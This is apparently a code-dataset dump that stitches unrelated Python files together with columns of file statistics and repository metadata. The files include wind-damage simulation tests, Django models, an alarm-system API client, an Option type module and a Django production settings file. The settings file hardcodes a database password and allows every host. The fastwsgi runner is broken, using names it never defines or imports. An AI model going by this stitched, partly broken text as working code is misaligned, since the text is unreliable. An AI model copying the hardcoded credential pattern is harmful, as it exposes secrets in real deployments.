'collapse'], # decimal=1) # for key, grouped in tower.damage_sim['collapse'].groupby('id_time'): for _, item in valid_.iterrows(): # print('{}'.format(item)) # print('{}:{}:{}'.format(item['id_sim'], # item['id_time'], # item['id_adj'])) for idx in item['id_adj']: tf_ds[idx, item['id_sim'], item['id_time']] = True """ class TestLine2(unittest.TestCase): @classmethod def setUpClass(cls): logging.basicConfig(level=logging.INFO) cls.logger = logging.getLogger(__name__) cls.cfg = Config(os.path.join(BASE_DIR, 'test.cfg'), logger=cls.logger) event_name = 'test2' event_scale = 1.0 path_event = os.path.join(cls.cfg.path_wind_event_base, event_name) path_output = os.path.join(cls.cfg.path_output, 'test2_s1.0') # LineB dic_line = cls.cfg.lines['LineA'].copy() cls.no_sims = 10000 dic_line.update({'name': 'LineA', 'no_sims': cls.no_sims, 'damage_states': cls.cfg.damage_states, 'non_collapse': cls.cfg.non_collapse, 'event_name': event_name, 'event_id': cls.cfg.event_id_format.format(event_name=event_name, scale=event_scale), 'rtol': cls.cfg.rtol, 'atol': cls.cfg.atol, 'dmg_threshold': cls.cfg.dmg_threshold, 'scale': event_scale, 'rnd_state': np.random.RandomState(0), 'path_event': path_event, 'path_output': path_output, 'dic_towers': cls.cfg.towers_by_line['LineA']}) cls.line = Line(**dic_line) for _, tower in cls.line.towers.items(): # tower._wind = create_wind_given_bearing(10.0, 1.0) tower.axisaz = 11.0 tower._damage_prob = None tower._damage_prob_sim = None tower._dmg_sim = None tower._dmg_id_sim = None @classmethod def tearDown(cls): try: os.remove(cls.line.file_output) os.removedirs(cls.line.output_path) except: pass def test_compute_damage_per_line(self): with self.assertLogs('wistl', level='INFO') as cm: self.line.compute_damage_per_line(self.cfg) def test_logger_dmg_time_idx(self): with self.assertLogs('wistl.line', level='INFO') as cm: self.line.dmg_time_idx msg = f'Line:LineA sustains no damage' self.assertIn(f'INFO:wistl.line:{msg}', cm.output) class TestLine3(unittest.TestCase): @classmethod def setUpClass(cls): cls.cfg = Config(os.path.join(BASE_DIR, 'test.cfg')) dic_line = cls.cfg.lines['LineA'].copy() cls.no_sims = 1000 event_name = 'test2' event_scale = 2.0 path_event = os.path.join(cls.cfg.path_wind_event_base, event_name) path_output = os.path.join(cls.cfg.path_output, 'test2_s2.0') dic_line.update({'name': 'LineA', 'no_sims': cls.no_sims, 'damage_states': cls.cfg.damage_states, 'non_collapse': cls.cfg.non_collapse, 'event_name': event_name, 'event_id': cls.cfg.event_id_format.format(event_name=event_name, scale=event_scale), 'rtol': 0.01, 'atol': 0.1, 'dmg_threshold': cls.cfg.dmg_threshold, 'scale': event_scale, 'rnd_state': np.random.RandomState(0), 'path_event': path_event, 'path_output': path_output, 'dic_towers': cls.cfg.towers_by_line['LineA']}) cls.line = Line(**dic_line) @classmethod def tearDown(cls): try: os.remove(cls.line.file_output) os.removedirs(cls.line.path_output) except: pass def test_dmg_time_idx(self): #self.assertEqual(self.line.dmg_time_idx, (479, 481)) self.assertEqual(self.line.dmg_time_idx, (476, 483)) #for k, v in self.line.towers.items(): # print(f'{k} -> {v.dmg_dmg_time_idx}') def test_dmg_towers(self): expected = set([16, 18, 19, 6, 7, 12, 2, 13, 14, 1, 10, 9, 20, 15, 4, 3]) self.assertEqual(set(self.line.dmg_towers), expected) def test_compute_damage_per_line(self): with self.assertLogs('wistl', level='INFO') as cm: self.line.compute_damage_per_line(self.cfg) class TestLine4(unittest.TestCase): @classmethod def setUpClass(cls): cls.cfg = Config(os.path.join(BASE_DIR, 'test_interaction.cfg')) dic_line = cls.cfg.lines['LineA'].copy() cls.no_sims = 10000 event_name = 'test1' event_scale = 14.0 path_event = os.path.join(cls.cfg.path_wind_event_base, event_name) path_output = os.path.join(cls.cfg.path_output, 'test1_s14.0') dic_line.update({'name': 'LineA', 'no_sims': cls.no_sims, 'damage_states': cls.cfg.damage_states, 'non_collapse': cls.cfg.non_collapse, 'event_name': event_name, 'event_id': cls.cfg.event_id_format.format(event_name=event_name, scale=event_scale), 'rtol': 0.01, 'atol': 0.1, 'dmg_threshold': cls.cfg.dmg_threshold, 'scale': event_scale, 'rnd_state': np.random.RandomState(0), 'path_event': path_event, 'path_output': path_output, 'dic_towers': cls.cfg.towers_by_line['LineA']}) cls.line = Line(**dic_line) with cls.assertLogs('wistl', level='INFO') as cm: cls.line.compute_damage_prob() cls.line.compute_damage_prob_sim() def test_dmg_idx(self): self.assertEqual(set(self.line.dmg_towers), {16, 0}) self.assertEqual(self.line.towers[0].dmg_time_idx, (0, 3)) self.assertEqual(self.line.towers[0].dmg_idxmax, [2]) self.assertEqual(self.line.towers[16].dmg_time_idx, (1, 3)) self.assertEqual(self.line.towers[16].dmg_idxmax, [2]) self.assertEqual(self.line.dmg_time_idx, (0, 3)) df = pd.DataFrame(np.column_stack(self.line.dmg_idx['collapse']), columns=['idl', 'id_sim', 'id_time']) self.assertEqual(set(df['id_time'].unique()), {0, 1, 2}) for idl in range(0, 3): self.assertTrue(set(df.loc[df['idl']==idl, 'id_time'].unique()).issubset({0, 1, 2})) for idl in range(14, 19): self.assertTrue(set(df.loc[df['idl']==idl, 'id_time'].unique()).issubset({0, 1, 2})) def test_dmg_idx_interaction(self): self.assertEqual(set(self.line.dmg_towers), {16, 0}) self.assertEqual(self.line.towers[0].dmg_time_idx, (0, 3)) self.assertEqual(self.line.towers[16].dmg_time_idx, (1, 3)) self.assertEqual(set(self.line.towers[0].collapse_interaction['id_time'].unique()), {0, 1, 2}) self.assertEqual(set(self.line.towers[16].collapse_interaction['id_time'].unique()), {0, 1}) self.assertEqual(self.line.towers[0].target_line['LineB']['id'], 0) self.assertEqual(self.line.towers[16].target_line['LineB']['id'], 16) self.assertEqual(self.line.towers[0].target_line['LineC']['id'], 0) self.assertEqual(self.line.towers[16].target_line['LineC']['id'], 16) self.assertEqual(self.line.target_no_towers, {'LineB': 22, 'LineC': 22}) # tower[0]: (0, C), (1, B), (2, B) df_count0 = self.line.towers[0].collapse_interaction.groupby('id_time').agg(len) # tower[16]: (0, C), (1, B) df_count1 = self.line.towers[16].collapse_interaction.groupby('id_time').agg(len) dfb = pd.DataFrame(self.line.dmg_idx_interaction['LineB'], columns=['idl', 'id_sim', 'id_time']) x = dfb.groupby(['idl' ,'id_time']).agg(len).reset_index() dfc = pd.DataFrame(self.line.dmg_idx_interaction['LineC'], columns=['idl', 'id_sim', 'id_time']) y = dfc.groupby(['idl' ,'id_time']).agg(len).reset_index() # tower0, B dt = self.line.towers[0].dmg_time_idx[0] - self.line.dmg_time_idx[0] for idt in [1, 2]: self.assertEqual(x.loc[(x.id_time == idt + dt) & (x.idl==0), 'id_sim'].values[0], df_count0.loc[idt, 'id_sim']) # tower0, C for idt in [0]: self.assertEqual(y.loc[(y.id_time == idt + dt) & (y.idl==0), 'id_sim'].values[0], df_count0.loc[idt, 'id_sim']) # tower16, B dt = self.line.towers[16].dmg_time_idx[0] - self.line.dmg_time_idx[0] for idt in [1]: self.assertEqual(x.loc[(x.id_time == idt + dt) & (x.idl==16), 'id_sim'].values[0], df_count1.loc[idt, 'id_sim']) # tower16, C for idt in [0]: self.assertEqual(y.loc[(y.id_time == idt + dt) & (y.idl==16), 'id_sim'].values[0], df_count1.loc[idt, 'id_sim']) if __name__ == '__main__': unittest.main(verbosity=2)
38.94302
170
0.553003
3,562
27,338
4.030882
0.081696
0.050146
0.035102
0.038445
0.804987
0.759298
0.698356
0.623067
0.567628
0.554882
0
0.041809
0.30357
27,338
701
171
38.998573
0.712327
0.058124
0
0.5898
0
0
0.107285
0.027496
0
0
0
0
0.199557
1
0.062084
false
0.008869
0.02439
0
0.095344
0
0
0
0
null
0
0
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e81658f6898e00001684e7aa9ca732d65b7c94c6
363
py
Python
sdm/__init__.py
dougalsutherland/py-sdm
9773bf33438986a8312db82b1c9086c81fae5099
[ "BSD-3-Clause" ]
21
2015-02-17T13:59:52.000Z
2019-05-08T09:25:52.000Z
sdm/__init__.py
beartiantian/py-sdm
9773bf33438986a8312db82b1c9086c81fae5099
[ "BSD-3-Clause" ]
2
2015-01-19T17:08:23.000Z
2015-01-22T19:19:06.000Z
sdm/__init__.py
dougalsutherland/py-sdm
9773bf33438986a8312db82b1c9086c81fae5099
[ "BSD-3-Clause" ]
5
2016-01-07T06:45:29.000Z
2018-05-21T15:50:05.000Z
from . import utils from . import mp_utils from . import features from .features import Features from . import np_divs from .np_divs import estimate_divs from . import sdm from .sdm import SDC, NuSDC, SDR, NuSDR, OneClassSDM try: from numpy.testing import nosetester test = nosetester.NoseTester().test del nosetester except ImportError: pass
19.105263
52
0.754821
50
363
5.4
0.46
0.185185
0.111111
0
0
0
0
0
0
0
0
0
0.190083
363
18
53
20.166667
0.918367
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0.071429
0.714286
0
0.714286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
0
0
0
2
e82d5f979144064e794339cff67ec26764c73133
3,090
py
Python
insta/models.py
WaMungai/InstaClone
68279dfbf93801c1b5355b91c9e03e3b469cd6d0
[ "Unlicense" ]
null
null
null
insta/models.py
WaMungai/InstaClone
68279dfbf93801c1b5355b91c9e03e3b469cd6d0
[ "Unlicense" ]
5
2021-06-08T20:55:05.000Z
2022-03-12T00:14:51.000Z
insta/models.py
WaMungai/InstaClone
68279dfbf93801c1b5355b91c9e03e3b469cd6d0
[ "Unlicense" ]
null
null
null
from django.db import models from django.contrib.auth.models import User from tinymce.models import HTMLField # Create your models here. class Profile(models.Model): ''' Class containing user profile details ''' profile_photo=models.ImageField(upload_to='images/',blank=True) bio=models.CharField(max_length=100) editor=models.ForeignKey(User,on_delete=models.CASCADE) def __str__(self): return self.bio def save_profile(self): self.save() def delete_profile(self): self.delete() @classmethod def get_profile(cls): profile=cls.objects.all() return profile @classmethod def single_profile(cls,user_id): profile=cls.objects.get(editor=user_id) return profile @classmethod def get_profilepic_id(cls,imageId): image_id=cls.objects.filter(id=imageId) return image_id class Image(models.Model): image=models.ImageField(upload_to='images/',blank=True) image_name=models.CharField(max_length=30) image_caption=models.CharField(max_length=100) editor=models.ForeignKey(User,on_delete=models.CASCADE) profile=models.ForeignKey(Profile,null=True) likes=models.ManyToManyField(User,related_name="likes",blank=True) followers=models.ManyToManyField(User,related_name="followers",blank=True) pub_date=models.DateTimeField(auto_now_add=True) def __str__(self): return self.image_name def save_image(self): self.save() def delete_image(self): self.delete() @classmethod def get_images(cls): image=cls.objects.all() return image @classmethod def search_by_category(cls,category): category_result=cls.objects.filter(image_name__icontains=category) return category_result @classmethod def get_image_id(cls,imageId): image_id=cls.objects.filter(id=imageId) return image_id @classmethod def single_image(cls,image_id): image_posted=cls.objects.filter(id=image_id) return image_posted @classmethod def user_images(cls,user_id): images_posted=cls.objects.get(editor=user_id) return image_posted class Comments(models.Model): detail=HTMLField() editor=models.ForeignKey(User,on_delete=models.CASCADE) comment_date = models.DateTimeField(auto_now_add=True) image_foreign=models.ForeignKey(Image,on_delete=models.CASCADE) def __str__(self): return self.detail def save_comment(self): self.save() def delete_comment(self): self.delete() @classmethod def get_comments(cls): comment=cls.objects.all() return comment @classmethod def get_singlepost_comments(cls,id): comments=cls.objects.filter(image_foreign__in=id) return comments class NewsLetterRecipients(models.Model): name=models.CharField(max_length=30) email=models.EmailField()
27.345133
78
0.671521
373
3,090
5.356568
0.214477
0.07007
0.051051
0.048048
0.446446
0.368869
0.292292
0.185185
0.161662
0.131131
0
0.004225
0.233981
3,090
113
79
27.345133
0.839882
0.020388
0
0.365854
0
0
0.009296
0
0
0
0
0
0
1
0.231707
false
0
0.036585
0.036585
0.682927
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
e82d723a7f9be68f55b29e8ab168b6a2fe347292
513
py
Python
xautodl/models/initialization.py
Joey61Liuyi/AutoDL-Projects
2092e144920e82d74753a7ac31e1890a150d41cf
[ "MIT" ]
817
2020-01-15T00:23:41.000Z
2022-03-31T14:52:03.000Z
xautodl/models/initialization.py
Joey61Liuyi/AutoDL-Projects
2092e144920e82d74753a7ac31e1890a150d41cf
[ "MIT" ]
77
2020-01-14T14:02:45.000Z
2022-03-25T07:06:02.000Z
xautodl/models/initialization.py
Joey61Liuyi/AutoDL-Projects
2092e144920e82d74753a7ac31e1890a150d41cf
[ "MIT" ]
176
2020-01-15T10:39:41.000Z
2022-03-31T04:24:53.000Z
import torch import torch.nn as nn def initialize_resnet(m): if isinstance(m, nn.Conv2d): nn.init.kaiming_normal_(m.weight, mode="fan_out", nonlinearity="relu") if m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.BatchNorm2d): nn.init.constant_(m.weight, 1) if m.bias is not None: nn.init.constant_(m.bias, 0) elif isinstance(m, nn.Linear): nn.init.normal_(m.weight, 0, 0.01) nn.init.constant_(m.bias, 0)
30.176471
78
0.619883
81
513
3.814815
0.382716
0.116505
0.18123
0.194175
0.407767
0.407767
0.343042
0.343042
0.343042
0.343042
0
0.025907
0.247563
513
16
79
32.0625
0.774611
0
0
0.357143
0
0
0.021443
0
0
0
0
0
0
1
0.071429
false
0
0.142857
0
0.214286
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
08fdfcb551c3d733cd0847f17e1f2353909ca1c5
3,050
py
Python
pysecuritas/api/alarm.py
Cebeerre/VerisureAPIClient
4b7fa04fc1e6ea76ca17e674c2141b84e956b95e
[ "MIT" ]
13
2019-09-30T16:04:27.000Z
2020-11-30T18:19:41.000Z
pysecuritas/api/alarm.py
Cebeerre/VerisureAPIClient
4b7fa04fc1e6ea76ca17e674c2141b84e956b95e
[ "MIT" ]
6
2019-12-02T00:38:04.000Z
2020-12-02T16:29:38.000Z
pysecuritas/api/alarm.py
Cebeerre/pysecuritas
4b7fa04fc1e6ea76ca17e674c2141b84e956b95e
[ "MIT" ]
3
2020-12-02T17:23:13.000Z
2021-11-14T17:47:35.000Z
# -*- coding: utf-8 -*- """ :copyright: © pysecuritas, All Rights Reserved """ from pysecuritas.api.installation import Installation, DEFAULT_TIMEOUT def get_available_commands(): """ Returns all available commands """ return { "ARM": "arm all sensors (inside)", "ARMDAY": "arm in day mode (inside)", "ARMNIGHT": "arm in night mode (inside)", "PERI": "arm (only) the perimeter sensors", "DARM": "disarm everything (not the annex)", "ARMANNEX": "arm the secondary alarm", "DARMANNEX": "disarm the secondary alarm", "EST": "return the panel status" } class Alarm(Installation): """ The entrypoint to perform any action on an alarm such as arm and disarm """ def __init__(self, session, timeout=DEFAULT_TIMEOUT): """ Initializes alarm api """ Installation.__init__(self, session, timeout) def execute_command(self, command): """ Executes a command :param command command to be executed :return: the result from the operation """ if command == "ARM": return self.activate_total_mode() if command == "ARMDAY": return self.activate_day_mode() if command == "ARMNIGHT": return self.activate_night_mode() if command == "PERI": return self.activate_perimeter_mode() if command == "DARM": return self.disconnect() if command == "ARMANNEX": return self.activate_secondary_mode() if command == "DARMANNEX": return self.disconnect_secondary() if command == "EST": return self.get_status() def activate_total_mode(self): """ Activates alarm in total mode (all sensors) """ return self.async_request("ARM") def activate_secondary_mode(self): """ Activates secondary alarm """ return self.async_request("ARMANNEX") def activate_day_mode(self): """ Activates alarm in day mode (only sensors configured for day mode will be activated) """ return self.async_request("ARMDAY") def activate_night_mode(self): """ Activates alarm in night mode (only sensors configured for night mode will be activated) """ return self.async_request("ARMNIGHT") def activate_perimeter_mode(self): """ Activates alarm in perimeter mode (only sensors configured for exterior mode will be activated) """ return self.async_request("PERI") def get_status(self): """ Retrieves current alarm status """ return self.async_request("EST") def disconnect(self): """ Disconnects the alarm """ return self.async_request("DARM") def disconnect_secondary(self): """ Disconnects the secondary alarm """ return self.async_request("DARMANNEX")
24.206349
103
0.587541
321
3,050
5.445483
0.264798
0.091533
0.06865
0.100687
0.229977
0.111556
0.070366
0.070366
0
0
0
0.000475
0.309836
3,050
125
104
24.4
0.829454
0.235082
0
0
0
0
0.169193
0
0
0
0
0
0
1
0.229167
false
0
0.020833
0
0.625
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1c195b1c5ac2d26bbda2d0c3a3d26cf9872d9afb
444
py
Python
fdk_client/platform/models/MetaDataListingFilterResponse.py
kavish-d/fdk-client-python
a1023eb530473322cb52e095fc4ceb226c1e6037
[ "MIT" ]
null
null
null
fdk_client/platform/models/MetaDataListingFilterResponse.py
kavish-d/fdk-client-python
a1023eb530473322cb52e095fc4ceb226c1e6037
[ "MIT" ]
null
null
null
fdk_client/platform/models/MetaDataListingFilterResponse.py
kavish-d/fdk-client-python
a1023eb530473322cb52e095fc4ceb226c1e6037
[ "MIT" ]
null
null
null
"""Platform Models.""" from marshmallow import fields, Schema from marshmallow.validate import OneOf from ..enums import * from ..models.BaseSchema import BaseSchema from .MetaDataListingFilterMetaResponse import MetaDataListingFilterMetaResponse class MetaDataListingFilterResponse(BaseSchema): # Catalog swagger.json data = fields.List(fields.Nested(MetaDataListingFilterMetaResponse, required=False), required=False)
24.666667
104
0.79955
40
444
8.875
0.55
0.084507
0
0
0
0
0
0
0
0
0
0
0.128378
444
17
105
26.117647
0.917313
0.085586
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.714286
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
1c2bb8a98c077606cc899d45686c3cf5e5870630
321
py
Python
settings_prod.py
pryny/django_shop_alex
3c04aab7573734a82a969ec152c3986ed240ab8d
[ "Apache-2.0" ]
null
null
null
settings_prod.py
pryny/django_shop_alex
3c04aab7573734a82a969ec152c3986ed240ab8d
[ "Apache-2.0" ]
null
null
null
settings_prod.py
pryny/django_shop_alex
3c04aab7573734a82a969ec152c3986ed240ab8d
[ "Apache-2.0" ]
null
null
null
DEBUG = False ALLOWED_HOSTS = ['*'] DATABASES = { 'default': { 'ENGINE': 'django.db.backends.postgresql_psycopg2', 'NAME': 'db1', 'USER': 'alex', 'PASSWORD': 'asdewqr1', 'HOST': 'localhost', # Set to empty string for localhost. 'PORT': '', # Set to empty string for default. } }
26.75
62
0.566978
33
321
5.454545
0.787879
0.055556
0.111111
0.177778
0.211111
0
0
0
0
0
0
0.0125
0.252336
321
12
63
26.75
0.7375
0.208723
0
0
0
0
0.414938
0.157676
0
0
0
0
0
1
0
false
0.083333
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
1c2c5293b6e6088817defdb6355b42a48bb97468
13,301
py
Python
expression/core/option.py
erlendvollset/Expression
888fd757d69e39efa5e3b76228d565b2607c1c5b
[ "MIT" ]
null
null
null
expression/core/option.py
erlendvollset/Expression
888fd757d69e39efa5e3b76228d565b2607c1c5b
[ "MIT" ]
null
null
null
expression/core/option.py
erlendvollset/Expression
888fd757d69e39efa5e3b76228d565b2607c1c5b
[ "MIT" ]
null
null
null
"""Option module. Contains a collection of static methods (functions) for operating on options. All functions takes the source as the last curried argument, i.e all functions returns a function that takes the source sequence as the only argument. """ from __future__ import annotations from abc import ABC, abstractmethod from typing import ( TYPE_CHECKING, Any, Callable, Generator, Iterable, Iterator, List, Optional, Protocol, TypeVar, Union, cast, get_origin, overload, ) from .error import EffectError from .match import MatchMixin, SupportsMatch from .pipe import pipe if TYPE_CHECKING: from ..collections.seq import Seq TSource = TypeVar("TSource") TResult = TypeVar("TResult") T1 = TypeVar("T1") T2 = TypeVar("T2") T3 = TypeVar("T3") T4 = TypeVar("T4") class Option(Iterable[TSource], MatchMixin[TSource], SupportsMatch[Union[TSource, bool]], ABC): """Option abstract base class.""" @overload def pipe(self, __fn1: Callable[["Option[TSource]"], TResult]) -> TResult: ... @overload def pipe(self, __fn1: Callable[["Option[TSource]"], T1], __fn2: Callable[[T1], T2]) -> T2: ... @overload def pipe( self, __fn1: Callable[["Option[TSource]"], T1], __fn2: Callable[[T1], T2], __fn3: Callable[[T2], T3] ) -> T3: ... @overload def pipe( self, __fn1: Callable[["Option[TSource]"], T1], __fn2: Callable[[T1], T2], __fn3: Callable[[T2], T3], __fn4: Callable[[T3], T4], ) -> T4: ... def pipe(self, *args: Any) -> Any: """Pipe option through the given functions.""" return pipe(self, *args) def default_value(self, value: TSource) -> TSource: """Gets the value of the option if the option is Some, otherwise returns the specified default value. """ raise NotImplementedError @abstractmethod def map(self, mapper: Callable[[TSource], TResult]) -> "Option[TResult]": raise NotImplementedError @abstractmethod def map2(self, mapper: Callable[[TSource, T2], TResult], other: "Option[T2]") -> "Option[TResult]": raise NotImplementedError @abstractmethod def bind(self, mapper: Callable[[TSource], "Option[TResult]"]) -> "Option[TResult]": """Bind option. Applies and returns the result of the mapper if the value is `Some`. If the value is `Nothing` then `Nothing` is returned. Args: mapper: A function that takes the value of type TSource from an option and transforms it into an option containing a value of type TResult. Returns: An option of the output type of the mapper. """ raise NotImplementedError @abstractmethod def or_else(self, if_none: "Option[TSource]") -> "Option[TSource]": """Returns option if it is Some, otherwise returns `if_one`. """ raise NotImplementedError @abstractmethod def to_list(self) -> List[TSource]: raise NotImplementedError @abstractmethod def to_seq(self) -> Seq[TSource]: raise NotImplementedError @abstractmethod def is_some(self) -> bool: """Returns true if the option is not Nothing.""" raise NotImplementedError @abstractmethod def is_none(self) -> bool: """Returns true if the option is Nothing.""" raise NotImplementedError @classmethod def of_obj(cls, value: TSource) -> "Option[TSource]": """Convert object to an option.""" return of_optional(value) @classmethod def of_optional(cls, value: Optional[TSource]) -> "Option[TSource]": """Convert optional value to an option.""" return of_optional(value) @property @abstractmethod def value(self) -> TSource: """Returns the value wrapped by the option. A `ValueError` is raised if the option is `Nothing`. """ raise NotImplementedError @abstractmethod def __eq__(self, other: Any) -> bool: raise NotImplementedError @abstractmethod def __lt__(self, other: Any) -> bool: raise NotImplementedError def __repr__(self) -> str: return self.__str__() class Some(Option[TSource]): """The Some option case class.""" def __init__(self, value: TSource) -> None: self._value = value def default_value(self, value: TSource) -> TSource: """Gets the value of the option if the option is Some, otherwise returns the specified default value. """ return self._value def is_some(self) -> bool: """Returns `True`.""" return True def is_none(self) -> bool: """Returns `False`.""" return False def map(self, mapper: Callable[[TSource], TResult]): return Some(mapper(self._value)) def map2(self, mapper: Callable[[TSource, T2], TResult], other: Option[T2]) -> Option[TResult]: if isinstance(other, Some): return Some(mapper(self._value, cast(Some[T2], other).value)) return Nothing def bind(self, mapper: Callable[[TSource], Option[TResult]]) -> Option[TResult]: """Bind option. Applies and returns the result of the mapper if the value is `Some`. If the value is `Nothing` then `Nothing` is returned. Args: mapper: A function that takes the value of type TSource from an option and transforms it into an option containing a value of type TResult. Returns: An option of the output type of the mapper. """ return mapper(self._value) def or_else(self, if_none: Option[TSource]) -> Option[TSource]: """Returns `self`.""" return self def to_list(self) -> List[TSource]: return [self._value] def to_seq(self) -> Seq[TSource]: from expression.collections.seq import Seq # deferred import to avoid circular dependencies return Seq.of(self._value) @property def value(self) -> TSource: """Returns the value wrapped by the option. A `ValueError` is raised if the option is `Nothing`. """ return self._value def __match__(self, pattern: Any) -> Iterable[TSource]: if self is pattern or self == pattern: return [self.value] try: origin: Any = get_origin(pattern) if isinstance(self, origin or pattern): return [self.value] except TypeError: pass return [] def __lt__(self, other: Any) -> bool: if isinstance(other, Some): return self._value < other._value # type: ignore return False def __eq__(self, other: Any) -> bool: if isinstance(other, Some): return self._value == other._value # type: ignore return False def __iter__(self) -> Generator[TSource, TSource, TSource]: return (yield self._value) def __str__(self) -> str: return f"Some {self._value}" class Nothing_(Option[TSource], EffectError): """The None option case class. Do not use. Use the singleton `Nothing` instead. Since Nothing is a singleton it can be tested e.g using `is`: >>> if xs is Nothing: ... return True """ def default_value(self, value: TSource) -> TSource: """Gets the value of the option if the option is Some, otherwise returns the specified default value. """ return value def is_some(self) -> bool: """Returns `False`.""" return False def is_none(self) -> bool: """Returns `True`.""" return True def map(self, mapper: Callable[[TSource], TResult]) -> Option[TResult]: return Nothing def map2(self, mapper: Callable[[TSource, T2], TResult], other: Option[T2]) -> Option[TResult]: return Nothing def bind(self, mapper: Callable[[TSource], Option[TResult]]) -> Option[TResult]: """Bind option. Applies and returns the result of the mapper if the value is `Some`. If the value is `Nothing` then `Nothing` is returned. Args: mapper: A function that takes the value of type TSource from an option and transforms it into an option containing a value of type TResult. Returns: An option of the output type of the mapper. """ return Nothing def or_else(self, if_none: Option[TSource]) -> Option[TSource]: """Returns `if_none`.""" return if_none def to_list(self) -> List[TSource]: return [] def to_seq(self) -> Seq[TSource]: from expression.collections.seq import Seq # deferred import to avoid circular dependencies return Seq() @property def value(self) -> TSource: """Returns the value wrapped by the option. A `ValueError` is raised if the option is `Nothing`. """ raise ValueError("There is no value.") def __match__(self, pattern: Any) -> "Iterable[bool]": if self is pattern: return [True] return [] def __iter__(self) -> Iterator[TSource]: """Return iterator for the `Nothing` case. We basically want to return nothing, but we have to return something to signal fail. """ raise Nothing while False: yield def __lt__(self, other: Any) -> bool: return True def __eq__(self, other: Any) -> bool: if other is Nothing: return True return False def __str__(self): return "Nothing" class TransformFn(Protocol[TResult]): """Option transforming protocol function. `Option[TSource]) -> Option[TResult]` """ def __call__(self, __source: Option[TSource]) -> Option[TResult]: raise NotImplementedError # The singleton None class. We use the name 'Nothing' here instead of `None` to # avoid conflicts with the builtin `None` value in Python. # Note to self: Must be of type `Nothing_` or pattern matching will not work. Nothing: Nothing_[Any] = Nothing_() """Singleton `Nothing` object. Since Nothing is a singleton it can be tested e.g using `is`: >>> if xs is Nothing: ... return True """ def bind(mapper: Callable[[TSource], Option[TResult]]) -> TransformFn[TResult]: """Bind option. Applies and returns the result of the mapper if the value is `Some`. If the value is `Nothing` then `Nothing` is returned. Args: mapper: A function that takes the value of type TSource from an option and transforms it into an option containing a value of type TResult. Returns: A partially applied function that takes an option and returns an option of the output type of the mapper. """ def _bind(option: Option[TSource]) -> Option[TResult]: return option.bind(mapper) return _bind def default_value(value: TSource) -> Callable[[Option[TSource]], TSource]: """Gets the value of the option if the option is Some, otherwise returns the specified default value. """ def _default_value(option: Option[TSource]) -> TSource: return option.default_value(value) return _default_value def is_none(option: Option[TSource]) -> bool: return option.is_none() def is_some(option: Option[TSource]) -> bool: return option.is_some() def map(mapper: Callable[[TSource], TResult]) -> TransformFn[TResult]: def _map(option: Option[TSource]) -> Option[TResult]: return option.map(mapper) return _map def map2(mapper: Callable[[T1, T2], TResult]) -> Callable[[Option[T1], Option[T2]], Option[TResult]]: def _map2(opt1: Option[T1], opt2: Option[T2]) -> Option[TResult]: return opt1.map2(mapper, opt2) return _map2 def or_else(if_none: Option[TSource]) -> Callable[[Option[TSource]], Option[TSource]]: """Returns option if it is Some, otherwise returns ifNone.""" def _or_else(option: Option[TSource]) -> Option[TSource]: return option.or_else(if_none) return _or_else def to_list(option: Option[TSource]) -> List[TSource]: return option.to_list() def to_seq(option: Option[TSource]) -> Seq[TSource]: return option.to_seq() def of_optional(value: Optional[TSource]) -> Option[TSource]: """Convert an optional value to an option. Convert a value that could be `None` into an `Option` value. Same as `of_obj` but with typed values. Args: value: The input optional value. Return: The result option. """ if value is None: return Nothing return Some(value) def of_obj(value: Any) -> Option[Any]: """Convert object to an option. Convert a value that could be `None` into an `Option` value. Args: value: The input object. Return: The result option. """ return of_optional(value) __all__ = [ "Option", "Some", "Nothing", "Nothing_", "bind", "default_value", "map", "map2", "is_none", "is_some", "or_else", "to_list", "to_seq", "of_optional", "of_obj", ]
27.089613
108
0.618826
1,617
13,301
4.975881
0.118738
0.048471
0.02871
0.050957
0.612727
0.560776
0.520507
0.440343
0.427044
0.414367
0
0.006295
0.271408
13,301
490
109
27.144898
0.82396
0.300955
0
0.410042
0
0
0.043396
0
0
0
0
0
0
1
0.284519
false
0.004184
0.037657
0.079498
0.573222
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
1c2eaf3facbffed299455ef3e1efd26f63e89301
591
py
Python
runners/fastwsgi_server.py
timb-machine-mirrors/pcf
d697a531da8c4206a6d874e689312a359446f8da
[ "MIT" ]
null
null
null
runners/fastwsgi_server.py
timb-machine-mirrors/pcf
d697a531da8c4206a6d874e689312a359446f8da
[ "MIT" ]
null
null
null
runners/fastwsgi_server.py
timb-machine-mirrors/pcf
d697a531da8c4206a6d874e689312a359446f8da
[ "MIT" ]
null
null
null
import fastwsgi import app def start_server(): host, port, debug, ssl_context = app.config_prepare() def requires_authorization(f): @wraps(f) def decorated(*args, **kwargs): if config['security']['basic_auth'] == '0': return f(*args, **kwargs) auth = request.authorization if not auth or not ok_user_and_password(auth.username, auth.password): return authenticate() return f(*args, **kwargs) return decorated fastwsgi.run(wsgi_app=app.application, host=host, port=port)
28.142857
82
0.605753
69
591
5.057971
0.550725
0.08596
0.063037
0.097421
0
0
0
0
0
0
0
0.002353
0.28088
591
20
83
29.55
0.818824
0
0
0.133333
0
0
0.032149
0
0
0
0
0
0
1
0.2
false
0.066667
0.133333
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
